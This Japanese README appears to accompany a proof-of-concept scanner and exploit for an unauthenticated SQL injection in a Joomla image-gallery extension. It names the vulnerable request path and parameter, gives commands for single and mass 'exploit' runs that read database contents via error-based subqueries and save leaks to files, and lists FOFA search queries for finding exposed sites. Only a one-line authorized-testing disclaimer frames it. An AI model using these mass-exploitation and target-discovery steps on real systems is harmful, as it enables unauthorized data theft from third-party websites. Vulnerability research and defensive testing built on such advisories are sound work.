CVE-2026-88854 — OrdaSoft Joomla Gallery SQLインジェクション

Joomla用 OrdaSoft OS Responsive Image Gallery における CVE-2026-88854 のPython 3 PoCスキャナ/エクスプロイト。

概要

showSearchResult() / showSearchResultAjax() は textsearch / searchText を $input->getVar() 経由で読み取りますが、これは適切なSQLエスケープを適用しません。値は LIKE 句に連結されます。未認証の訪問者が UNION スタイルのインジェクションを使用してデータベースの内容を読み取ることができます。

典型的なリクエストサーフェス:

GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...

レガシーインストールではタスク名 searhResult (タイポ) が使用されている可能性があります。

要件

• Python 3.9+
• pip install -r requirements.txt

使用方法

pip install -r requirements.txt

# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit

python poc.py -u https://target.example --mode exploit \
  --subquery "SELECT DATABASE()"

# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
  --output exploit_results.jsonl --vuln-list exploited.txt

# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl

CLIオプション

出力 (マスチェック)

一般的な status 値 (check)

スキャン後の監査 (audit_scan.py)

マス check の後、audit_scan.py を実行して管理者マニフェストを再取得し、ターゲットを分類します:

ギャラリーバージョンは、Joomlaの extension version= 属性ではなく、administrator/components/com_osgallery/osgallery.xml の <version> 要素から読み取られます。

制限事項

• Exploit モードはMySQLの エラーベース EXTRACTVALUE を使用します; MariaDB/Postgres、エラーの無効化、またはWAFは、CVEが該当する場合でも リークなし となる可能性があります。
• ブール値の長さの差分のみでは、確認済みのSQLiとして 扱われません (テストではModSecurity 406 が誤検知を引き起こしました)。
• マニフェストバージョン ≤ 6.2.6 は 露出期間 を示すものであり、すべてのホストで悪用可能なSQLiを保証するものではありません。
• サブディレクトリのJoomlaインストールでは、正しいベースURL (例: https://host/site) が必要です。

FOFA / 発見のヒント

app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"

リポジトリ構成

.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

ローカルのターゲットリストと実行成果物 (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) は .gitignore に含まれており、コミットすべきではありません。

参考資料

• NVD — CVE-2026-88854
• OrdaSoft Joomla Gallery

法的注意

許可されたセキュリティテスト のみを目的としています。適用される法律およびプログラム規則の遵守はあなたの責任です。